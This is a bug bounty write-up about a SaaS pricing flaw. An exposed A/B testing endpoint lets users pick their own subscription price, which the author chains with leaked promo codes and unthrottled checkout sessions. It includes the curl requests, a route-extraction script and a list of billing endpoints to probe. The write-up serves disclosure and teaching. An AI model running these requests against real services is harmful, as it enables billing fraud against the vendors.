June 6, 2026
Business Logic Flaw — Users Can Manipulate Their Own Subscription Price via Exposed A/B Testing API
By Divakar Vasani
Divakarvasani
4 min read
Target:_ Redacted (SaaS platform) Severity: Medium Bounty: $0 — No acknowledgment, no response, no bounty. Thirty days of silence despite four follow-up emails. Their bug bounty page advertises $100-$1,000 for medium severity findings. I got nothing._
Discovery — Error Messages as Information Disclosure
I was methodically testing every API endpoint I'd extracted from the application's JavaScript bundle. I had mapped around 60+ routes by parsing the 2.7MB JS file:
python3 << 'EOF'
import re
with open('/tmp/app_bundle.js','r',errors='ignore') as f:
data = f.read()
for p in sorted(set(re.findall(r'["\x27](/(?:api|organisations)[^"\x27\s]{0,150})["\x27]', data))):
print(p)
EOFpython3 << 'EOF'
import re
with open('/tmp/app_bundle.js','r',errors='ignore') as f:
data = f.read()
for p in sorted(set(re.findall(r'["\x27](/(?:api|organisations)[^"\x27\s]{0,150})["\x27]', data))):
print(p)
EOFOne endpoint stood out:
/organisations/${orgId}/base-price-experiment/organisations/${orgId}/base-price-experimentAn A/B testing endpoint for pricing. Companies use these to show different users different prices to optimize revenue. The question is: can users control which variant they're assigned to?
I sent a request with an obviously invalid value to see how the server responds:
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":"invalid"}'curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":"invalid"}'The server returned a Zod validation error that revealed every valid pricing tier:
{
"message": "Invalid request body",
"issues": [{
"code": "invalid_union",
"unionErrors": [
{"issues": [{"expected": 40, "received": "invalid"}]},
{"issues": [{"expected": 45, "received": "invalid"}]},
{"issues": [{"expected": 50, "received": "invalid"}]},
{"issues": [{"expected": 55, "received": "invalid"}]},
{"issues": [{"expected": 65, "received": "invalid"}]}
]
}]
}{
"message": "Invalid request body",
"issues": [{
"code": "invalid_union",
"unionErrors": [
{"issues": [{"expected": 40, "received": "invalid"}]},
{"issues": [{"expected": 45, "received": "invalid"}]},
{"issues": [{"expected": 50, "received": "invalid"}]},
{"issues": [{"expected": 55, "received": "invalid"}]},
{"issues": [{"expected": 65, "received": "invalid"}]}
]
}]
}Five pricing tiers: $40, $45, $50, $55, $65 per seat per month. The error message is essentially a menu — pick your price.
Exploitation — Setting the Lowest Price
With the valid variants known, I tested whether a regular user can actually set their own pricing:
Set to the highest price ($65):
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":65}'
{}curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":65}'
{}Empty response with HTTP 200 — success.
Set to the lowest price ($40):
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":40}'
{}curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":40}'
{}Also accepted. No authorization check beyond basic authentication. No validation that the user is allowed to change their experiment cohort.
Proving It Affects Real Pricing — Stripe Checkout Proof
Setting a variant value is interesting, but does it actually change the price a user would pay? I needed to prove the manipulation carries through to Stripe.
Step 1 — Set variant to 65, generate checkout:
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":65}'
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/checkout-sessions" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"seatCount":1,"billingCycle":"MONTHLY","planType":"PRO"}'
{
"checkoutSessionUrl": "https://checkout.stripe.com/c/pay/cs_live_[SESSION_A]"
}curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":65}'
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/checkout-sessions" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"seatCount":1,"billingCycle":"MONTHLY","planType":"PRO"}'
{
"checkoutSessionUrl": "https://checkout.stripe.com/c/pay/cs_live_[SESSION_A]"
}Opened this URL in the browser — Stripe checkout page showed $65/seat/month.
Step 2 — Set variant to 40, generate checkout:
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":40}'
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/checkout-sessions" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"seatCount":1,"billingCycle":"MONTHLY","planType":"PRO"}'
{
"checkoutSessionUrl": "https://checkout.stripe.com/c/pay/cs_live_[SESSION_B]"
}curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/base-price-experiment" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"variant":40}'
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/checkout-sessions" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"seatCount":1,"billingCycle":"MONTHLY","planType":"PRO"}'
{
"checkoutSessionUrl": "https://checkout.stripe.com/c/pay/cs_live_[SESSION_B]"
}Opened this URL — Stripe checkout page showed $40/seat/month.
Same plan. Same features. Same seat count. Different price. Controlled entirely by one API call.
Chaining with Leaked Promo Codes
I had separately discovered that the target's marketing site leaks active Stripe promotional codes via an unauthenticated CMS endpoint (documented in a separate writeup). These codes chain perfectly with the price manipulation:
# Set lowest price
curl -s -X POST ".../base-price-experiment" -d '{"variant":40}'
# Generate checkout with leaked promo code applied
curl -s -X POST ".../checkout-sessions" \
-d '{"promoCode":"[LEAKED_CODE]","seatCount":1,"billingCycle":"MONTHLY","planType":"PRO"}'
{
"checkoutSessionUrl": "https://checkout.stripe.com/c/pay/cs_live_[SESSION_C]"
}# Set lowest price
curl -s -X POST ".../base-price-experiment" -d '{"variant":40}'
# Generate checkout with leaked promo code applied
curl -s -X POST ".../checkout-sessions" \
-d '{"promoCode":"[LEAKED_CODE]","seatCount":1,"billingCycle":"MONTHLY","planType":"PRO"}'
{
"checkoutSessionUrl": "https://checkout.stripe.com/c/pay/cs_live_[SESSION_C]"
}The Stripe checkout now shows the lowest base price ($40) PLUS the promotional discount. Compounded savings.
With the leaked promo code on top, the discount compounds further.
Additional Finding — No Rate Limiting
I generated 5 checkout sessions simultaneously to test for rate limiting:
for i in 1 2 3 4 5; do
curl -s -X POST ".../checkout-sessions" \
-H "Authorization: Bearer [TOKEN]" \
-d '{"promoCode":"[LEAKED_CODE]","seatCount":1,"billingCycle":"MONTHLY","planType":"PRO"}' &
done
waitfor i in 1 2 3 4 5; do
curl -s -X POST ".../checkout-sessions" \
-H "Authorization: Bearer [TOKEN]" \
-d '{"promoCode":"[LEAKED_CODE]","seatCount":1,"billingCycle":"MONTHLY","planType":"PRO"}' &
done
waitAll 5 returned unique cs_live_ checkout URLs. No rate limiting, no deduplication. An attacker could generate unlimited discounted checkout sessions.
Root Cause Analysis
Three compounding issues:
1. Client-Side Experiment Assignment
The pricing experiment variant is set via a client-accessible API endpoint. In proper A/B testing implementations, the variant is assigned server-side (e.g., via GrowthBook's server SDK, LaunchDarkly, or Optimizely) and stored immutably. The user never sees or controls their assignment.
2. No Server-Side Price Validation
When a checkout session is created, the server uses whatever variant is currently set for the organisation — it doesn't validate this against a server-side experiment assignment or check if the user should actually be in that cohort.
3. Zod Validation Leaks Valid Values
The Zod schema validation error reveals all valid pricing tiers. While this alone is just information disclosure, combined with the ability to set any tier, it becomes the discovery step of the exploit.
Takeaways for Hunters
- A/B testing and feature flag endpoints are underexplored attack surface. Companies use experiment APIs to control pricing, feature access, UI variations, and entitlements. If these are user-controllable, they're business logic bugs.
- Send invalid values to trigger validation errors. Many frameworks (Zod, Joi, Yup, Pydantic) return detailed error messages that reveal valid options. This is free reconnaissance. Try strings where numbers are expected, invalid enum values, and malformed input.
- Always prove Stripe impact. Finding an endpoint that changes a price variable is interesting. Generating a live
cs_live_Stripe checkout URL that shows the manipulated price is a proof of concept. The difference in your bug report is night and day. - Look for chains. This bug alone is medium severity. Combined with the leaked promo codes from another vulnerability, it becomes a compounded discount chain with higher impact. Always check: "does this combine with anything else I've found?"
- Test billing endpoints thoroughly. Common patterns:
/checkout-sessions — create Stripe checkout
/portal-sessions — Stripe billing portal
/subscriptions/intent — subscription setup
/subscriptions/{id}/apply-discount — apply coupon
/base-price-experiment — A/B test pricing
/stripe/promo — validate promo codes/checkout-sessions — create Stripe checkout
/portal-sessions — Stripe billing portal
/subscriptions/intent — subscription setup
/subscriptions/{id}/apply-discount — apply coupon
/base-price-experiment — A/B test pricing
/stripe/promo — validate promo codes- Each one is a potential business logic target.
- Parallel requests reveal rate limiting gaps. If you can generate 5 checkout sessions simultaneously with no throttling, that's an ingredient for abuse — especially when combined with automated coupon application.
Disclosure Timeline
Date → Event Day 1 → Vulnerability discovered and reported with Stripe checkout proof
Day 7 → Follow-up email — no response
Day 14 → Another follow-up — no response
Day 23 → Final follow-up — no response
Day 30+ → Complete silence. Never acknowledged. Zero bounty.
All testing was conducted under the target's authorized bug bounty program. No actual purchases were completed at manipulated prices. Stripe checkout sessions were generated but not finalized. The pricing variant was restored to its original value after testing.